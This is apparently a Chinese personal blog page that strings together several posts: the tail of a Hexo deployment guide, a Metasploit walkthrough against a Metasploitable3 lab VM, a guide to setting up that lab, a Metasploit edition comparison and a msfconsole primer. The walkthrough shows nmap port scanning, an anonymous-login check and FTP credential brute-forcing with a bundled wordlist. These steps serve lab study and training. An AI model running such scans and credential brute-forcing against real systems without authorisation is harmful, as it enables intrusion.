systemctl restart nginx

至此,服务器端配置就结束了。接下来,就剩下本地 hexo 的配置更改了。

修改hexo配置

  • 打开你本地的 hexo 博客所在文件,打开站点配置文件(不是主题配置文件),做以下修改。
1
2
3
4
deploy:
type: git
repo: root@ip:/home/git/hexoBlog
branch: master
  • 打开hexo根目录执行,输入密码即可提交到云服务器
1
hexo cl && hexo g && hexo d

image-20220225102722571

说明

本编主要演示Metasploit对ftp的攻击,必须提前搭建好Metasploit攻击机和Metasploitable3靶场,可以参考这篇如何搭建kailMetasploitable3靶场搭建

开始实践

  • 在攻击机上,扫描靶场的端口,发现了ftp服务的端口为21
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
nmap -sV 192.168.56.102

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-23 21:42 EST
Nmap scan report for 192.168.56.102
Host is up (0.00033s latency).
Not shown: 981 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp open mysql MySQL 5.5.20-log
3389/tcp open ssl/ms-wbt-server?
4848/tcp open ssl/http Oracle Glassfish Application Server
7676/tcp open java-message-service Java Message Service 301
8080/tcp open http Sun GlassFish Open Source Edition 4.0
8181/tcp open ssl/intermapper?
8383/tcp open http Apache httpd
9200/tcp open wap-wsp?
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49176/tcp open java-rmi Java RMI

直接输入msfconsole 就进入到了metasploit 的控制台下

1
2
3
4
5
6
7
8
9
10
11
12
13
msfconsole


=[ metasploit v6.1.14-dev ]
+ -- --=[ 2180 exploits - 1155 auxiliary - 399 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Open an interactive Ruby terminal with
irb

msf6 >

  • 输入search scanner/ftp找到辅助的扫描工具

image-20220224165241342

  • 下面使用三个漏洞模块(anonymous、ftp_login、ftp_version)测试,也是网上教程最多的笔记

auxiliary/scanner/ftp/anonymous

测试结论

不支持匿名登录

开始演练

  • 输入use auxiliary/scanner/ftp/anonymous ,表示使用这个匿名登录漏洞模块
1
msf6 > use auxiliary/scanner/ftp/anonymous
  • 设置rhosts
1
msf6 > set RHOSTS 192.168.56.102
  • 输入run,就是运行漏洞模块,看看是否成功,测试结果是匿名登录失败
1
2
3
4
5
sf6 auxiliary(scanner/ftp/anonymous) > run

[*] 192.168.56.102:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

  • 也可以直接输入expolit -i 运行漏洞模块
1
2
3
4
5
6
msf6 auxiliary(scanner/ftp/anonymous) > exploit -i

[*] 192.168.56.102:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ftp/anonymous) >

  • 网上找了个成功的图片

image-20220224170452788

总结

  • 如果想匿名登录,可以直接到靶机中的iis中设置ftp支持匿名登录
  • 匿名登录后,有些文件只是只读,有些重要文件还是可能泄露一些重要信息

auxiliary/scanner/ftp/ftp_login

测试结论

登录成功,核心文件还是密码字典

开始演练

  • 输入use auxiliary/scanner/ftp/ftp_login,表示使用这个漏洞模块
1
2
3
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) >

  • 输入show options,展示当前ftp_login扫描工具的选项
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf6 auxiliary(scanner/ftp/ftp_login) > show options

Module options (auxiliary/scanner/ftp/ftp_login):

Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST false no Record anonymous/guest logins to the database
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 21 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts

  • 设置好了RHOSTS
1
msf6 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.56.102
  • 设置线程数
1
msf6 auxiliary(scanner/ftp/ftp_login) >  set THREADS 14
  • 设置用户名和密码文件,这里的用户和密码是metasploit自带的,我最后加了个用户名和密码(vagrant)
1
msf6 auxiliary(scanner/ftp/ftp_login) >set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
  • 输入show options查看配置情况

image-20220224171745170

  • 直接运行
1
msf6 auxiliary(scanner/ftp/ftp_login) > run
  • 发现登录成功

image-20220224171936577

auxiliary/scanner/ftp/ftp_version

测试结论

测试失败,网上很多都是基于这个模块拿到root权限,失败原因分析:

  • msf版本不一致,我的是msf6最新版本,其他人的版本比我旧
  • 靶场系统不一致,有的人的靶场是linux,而我的靶场为window 2008 r2

开始演练

1
2
3
4
5
6
7
8
9
msf6 auxiliary(scanner/ftp/easy_file_sharing_ftp) > use auxiliary/scanner/ftp/ftp_version  
msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf6 auxiliary(scanner/ftp/ftp_version) > run

[+] 192.168.56.102:21 - FTP Banner: '220 Microsoft FTP Service\x0d\x0a'
[*] 192.168.56.102:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

  • run时并没有扫描出来ftp的版本信息
  • 我看其这个人博客写到

image-20220224173453358

  • 然后他用下面的后门模块最终拿到root

image-20220224173619958

说明

  • 为了练习使用Metasploit,本篇主要介绍如何搭建靶场Metasploitable3
  • 本机为win10,网络为无线网络,cpu为i5,内存为8G
  • 本次装的靶场环境是windows_2008_r2,ubuntu_1404系统没有装

开始搭建

  • packer我们不需要
  • 打开vagrant下载最新的版本,安装后要重启电脑
  • 安装vagren插件
1
2
3
4
5
6
E:\app>cd Vagrant

E:\app\Vagrant>vagrant plugin install vagrant-reload
Installing the 'vagrant-reload' plugin. This can take a few minutes...
Fetching vagrant-reload-0.0.1.gem
Installed the plugin 'vagrant-reload (0.0.1)'!

image-20220223144417638

重命名修改为:metasploitable3-win2k8.box

  • 打开powershell,执行脚本
1
2
3
4
5
6
7
8
9
10
11
mkdir metasploitable3-workspace
cd metasploitable3-workspace

PS E:\app\metasploitable3-workspace> vagrant box add rapid7/metasploitable3-win2k8 d:\exe\metasploitable3-win2k8.box
==> box: Box file was not detected as metadata. Adding it directly...
==> box: Adding box 'rapid7/metasploitable3-win2k8' (v0) for provider:
box: Unpacking necessary files from: file:///d:/exe/metasploitable3-win2k8.box
box:
==> box: Successfully added box 'rapid7/metasploitable3-win2k8' (v0) for 'virtualbox'!
PS E:\app\metasploitable3-workspace>

  • 最终生成的文件目录:C:\Users\Admin.vagrant.d\boxes\rapid7-VAGRANTSLASH-metasploitable3-win2k8\0\virtualbox

image-20220223145644884

  • 复制数据元文件C:\Users\Admin\.vagrant.d\boxes\rapid7-VAGRANTSLASH-metasploitable3-win2k8\0\virtualbox\metadata.jsonC:\Users\Admin\.vagrant.d\boxes\rapid7-VAGRANTSLASH-metasploitable3-win2k8目录下

image-20220223145847948

  • 开始创建Metasploitable3 虚拟机,如果有发现Vagrantfile文件,先将它删除或者移到其他地方去,随后,调出命令行,输入命令vagrant init rapid7/metasploitable3-win2k8
1
2
3
4
5
PS C:\Users\Admin\.vagrant.d\boxes\rapid7-VAGRANTSLASH-metasploitable3-win2k8\0\virtualbox> vagrant init rapid7/metasploitable3-win2k8
A `Vagrantfile` has been placed in this directory. You are now
ready to `vagrant up` your first virtual environment! Please read
the comments in the Vagrantfile as well as documentation on
`vagrantup.com` for more information on using Vagrant.

然后执行下面命令,可能出现超时,我出现了一次,然后开了个代理重试了下(不知大是否可这个有关)

1
vagrant up

打开虚拟机

image-20220223151549011

输入默认密码:vagrant

image-20220223151748473

登录后网络也是没有问题

image-20220223151916993

  • 启动两个虚拟机(一个是kail攻击机,一个是win 2008 靶场),电脑cpu直接爆满,我把靶场内存调整为了2G

image-20220223154329578

部署网络

  • 部署好网络,把攻击机和靶机的通信网络设置的一样

  • 首先,把攻击机和靶机全部关机,然后在Oracle VM VirtualBox管理器中,点击管理——全局设定——网络,创建一个NAT网络,名字可以随意起。

    image-20220224104741466

    image-20220224104800241

  • 在两个虚拟机中分别部署好网络,以刚刚安装好的靶机为例,选择该虚拟机——设置——网络,将网卡1~4全部打上勾启动网络连接,并在这四个网卡的页面中各自选择连接方式,分别为:仅主机(Host-Only)网络、内部网络、NAT网络、桥接网卡,顺序可以自由安排。对于另一个虚拟机,同样也是如上设置。四个网卡的配置如下四图:

image-20220224104852965

image-20220224104914609

image-20220224104934036

image-20220224104956186

  • 这时候,两个虚拟机都已经部署完毕了,可以同时启动

  • 启动靶场window 2008 打开cmd,ping下,发现网络是通的

image-20220224105225893

  • 查看下IP,注意经过测试只有第一个ip:192.168.56.102在攻击机上,才能被访问和nmap扫描到端口

image-20220224105339740

  • 打开攻击机kali,在浏览器中输入:192.168.56.102

image-20220224105545840

  • 用攻击机nmap扫描端口测试下nmap -sV 192.168.56.102

image-20220224105733663

image-20220223162222020

各个版本介绍

描述 Metasploit Framework Metasploit Community Metasploit Express Metasploit Pro
Pricing
License 无IP限制 Free Free 收费 收费
用户界面
Web界面 提供友好的web界面,大大提高效率,减少对技术培训的依赖 N Y Y Y
命令行界面 .命令行界面 Y N N Y
专业控制台 高级命令行功能,通过专业控制台可以使用新的更高一级的命令,更好的管理数据,整体提高效率。 N N N Y
渗透测试
全面的exp覆盖 Metasploit拥有世界上最大的高质量公开攻击库 Y Y Y Y
手工渗透 针对一台主机发动一个单一攻击 Y Y Y Y
基本渗透 针对任意数量的主机发动一个单一攻击 N Y Y Y
智能渗透 自动选择所有匹配的exp,进行最安全可靠的攻击测试。支持dry-run模式在发动攻击前可以清楚哪些exp会运行。 N N Y Y
渗透链 自动组织攻击和辅助模块,例如针对思科路由器 N N N Y
证据收集 一键收集攻陷主机的证据,包括截屏、密码、哈希值、系统信息等等 N N Y Y
后渗透 .成功攻陷一台主机后自动发动定制的后渗透模块 N N N Y
会话保持 连接断开后可以自动生重新连接,例如一个被钓鱼的用户关闭了自己的笔记本电脑,重新开机后会自动建立连接 N N N Y
密码暴力猜测 快捷试验最常用的或之前捕获到的密码。如果是弱密码或pass-the-hash攻击方式,哈希值可以被自动破解。 N N Y Y
社会工程学 模拟钓鱼攻击。创建带有恶意文件的U盘来攻击一台机器。 N N N Y
Web应用测试 扫描、审计和攻击Web应用的漏洞,如OWASP Top10。 N N N Y
IDS/IPS 绕过 绕过IDS/IPS的检测 N N N Y
免杀 使用动态载荷绕过反病毒系统,不需要浪费时间自己编写动态载荷 N N N Y
载荷生成器 通过快捷界面生成独立的优秀载荷 N N N Y
代理跳板 通过一个攻陷的主机针对另一外目标发动一个攻击 Y Y Y Y
VPN跳板 通过一台被攻陷的主机建立一个2层的网络连接通道,使您可以使用基于网络的工具,例如漏洞扫描器来得到更多的信息,以供进一步再使用更高级的技术 N N N Y
报表
基本报表 生成基本的渗透测试报表,包括审计报告和被攻陷主机报告 N N Y Y
高级报表 生成各种报表包括Web应用测试报表、社会工程学模拟报表以及种种合规报表如PCI N N N Y
效率增强
快速开始向导 执行基线渗透测试找到容易的目标、Web应用测试或模拟钓鱼攻击。通过向导可以快速入门并在向导完成后有更入的了解 N N N Y
MetaModules MetaModules 可 以为IT安全专家简化实施安全测试。许多安全测试技术要么基于繁琐的工具要么需要定制开发,需要花费大量的时间。为了加快这样的测 试,MetaModules 把常见但复杂的安全测试自动化,从而给人力不足的安全部门提供一个更有效的办法来完成工作。 MetaModules 包括网络分段操作和防火墙测试、被动网络发现、凭证测试和入侵等。 N N N Y
发现式扫描 利用集成的NMAP扫描器配合高级指纹技术描绘出整个网络,并识别网络中的设备 N Y Y Y
脚本重放 生成脚本再现攻击,从而可以测试补救工作是否有效 N N Y Y
数据管理 在可检索的数据库中跟踪所有被发现的数据。在分组视图中找出异常值。 N Y Y Y
标记 通过标记主机可以把主机分配给某人、标记为一个导入源、标记项目范围、或标记高价值目标。今后可以通过标记找到对应的主机。 N N N Y
任务链 创建定制的工作流 N N N Y
专业API 使用高级的完全文件化的API可以把Metasploit Pro集成到SIEM和GRC系统中或实现定制自动化和集成 N N N Y
集成 开箱即用的SIEM和GRC集成 N N N Y
团队协作 和多个队员共同协作同一个项目,分割工作量,利用不同层次的专家经验。共享所有信息燕生成一个统一报告 。 N N N Y
Security Programs
闭环风险验证 验证漏洞和错误配置,从而可以对风险进行等级划分,并且可以把结果推回到Nexpose N N N Y
模拟钓鱼攻击 发送模拟钓鱼邮件来衡量用户的安全意识,包括多少人点击了邮件中的链接或在一个伪造的登录页面输入了登录凭证,并可以对具有危险行为的用户进行培训 N N N Y
漏洞验证
漏洞导入 从Nexpose和第三方漏洞扫描系统中导入输出文件 Y Y Y Y
Web漏洞导入 从各种第三方Web应用扫描器中改入输出文件 N N Y Y
Nexpose扫描 在界面上直接启动一个Nexpose扫描。结果自动导入到Metasploit N Y Y Y
直接导入 把现有的nexpose扫描结果直接导入 N N N Y
漏洞例外 验证后把漏洞例外推回到Nexpose,包括评论和例外时限。 N N Y Y
闭环集成 标记并推送可以攻击的漏洞到Nexpose N N N Y
re-run Session 重新运行一次攻击来验证一项补救措施的效果,例如补丁是否起作用 N N Y Y
支持
社区支持 在Rapid7社区中得到支持 Y Y Y Y
Rapid7 支持 7X24小时电子邮件和电话支持 N N Y Y

启动Metasploit

安装好kali系统后,可以参考我这篇文章介绍了如何在虚拟机中装kali,当前kali版本为:

1
2
uname -a
Linux kali 5.14.0-kali4-amd64 #1 SMP Debian 5.14.16-1kali1 (2021-11-05) x86_64 GNU/Linux

kali默认装的是 Metasploit Framework

image-20220221153516843

打开后,出现下面的提示信息,默认进入的其实就是msfconsole

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
...
=[ metasploit v6.1.14-dev ]
+ -- --=[ 2180 exploits - 1155 auxiliary - 399 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: You can use help to view all
available commands

msf6 >

  • 其中Metasploit版本为v6.1.14-dev

  • 模块种类及其个数:2180个exploits、1155个auxiliary、399个post592个payloads、45个encoders、10个nops、9个evasion

  • Metasploit 用的是ruby开发的,以后自定义一些东西也要用ruby

  • Metasploit安装的文件路径如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ pwd
/usr/share/metasploit-framework/modules

┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ ll
total 28
drwxr-xr-x 22 root root 4096 Dec 20 01:18 auxiliary
drwxr-xr-x 12 root root 4096 Dec 20 01:18 encoders
drwxr-xr-x 3 root root 4096 Dec 20 01:18 evasion
drwxr-xr-x 22 root root 4096 Dec 20 01:18 exploits
drwxr-xr-x 11 root root 4096 Dec 20 01:18 nops
drwxr-xr-x 5 root root 4096 Dec 20 01:18 payloads
drwxr-xr-x 14 root root 4096 Dec 20 01:18 post

msfconsole介绍

  • Msfcli在新版本已经不支持了,用msfconsole代替
  • 它是访问Metasploit中大部分功能的唯一支持方式

模块介绍

  • 漏洞渗透模块(exploits):发现了目标的漏洞之后,在Metasploit找到相应的漏洞渗透模块,就可以对目标进行入侵

  • 攻击载荷模块(payload):可以帮助我们在目标上完成远程控制操作。通常这些模块既可以单独执行,也可以和漏洞渗透模块一起执行(前面文章介绍过远程控制操作了)

  • 辅助模块(auxiliary):进行信息收集的模块。例如一些信息侦查、网络扫描类的工具

  • 后渗透攻击模块(post):当我们成功地取得目标的控制权之后,就是这些模块大显身手的时候,它可以帮助我们提高控制权限、手机敏感信息、实施调班攻击等

  • 编码器模块(encoders):将攻击载荷进行编码(类似与加密),让避免操作系统和杀毒软件辨认出来但是会让载荷的体积变大,这个时候需要选择传输器和传输体配对成的攻击载荷来下载目标载荷并且运行。

  • 反杀毒软件木马模块(evasion):这个模块可以轻松的创建反杀毒软件的木马

关键字help

输入help可以查看Metasploit提供的命令和对应的描述。命令一共分为以下几类:

  • 核心命令:Core Commands
  • 模块命令:Module Commands
  • 任务命令:Job Commands
  • 资源命令:Resourve Script Commands
  • 数据库后台命令:Database Backend Commands
  • 登录凭证后台命令:Credentials backend Commands
  • 开发商命令:Developer Commands
    image-20220221161642849

关键字Show

查看可以使用的模块:show 模块命

image-20220221161947112

关键字search

  • Metasploit提供了大量的模块。当用户希望快速找到针对某漏洞模块时,则可以使用search命令进行搜索。搜索模块时,用户可以指定搜索类型、CVE ID、发布时间等,如search cve:2009 type:exploit。为了方便用户搜索模块,可以使用help search命令查看所有支持的过滤器。
  • CVE ,全称为通用漏洞披露
    • CVSS评分标准: 漏洞的最终得分最大为10,最小为0。得分7~10的漏洞通常被认为比较严重,得分在4~6.9之间的是中级漏洞,0~3.9的则是低级漏洞。

image-20220221162210899

更多命令的使用请参考这里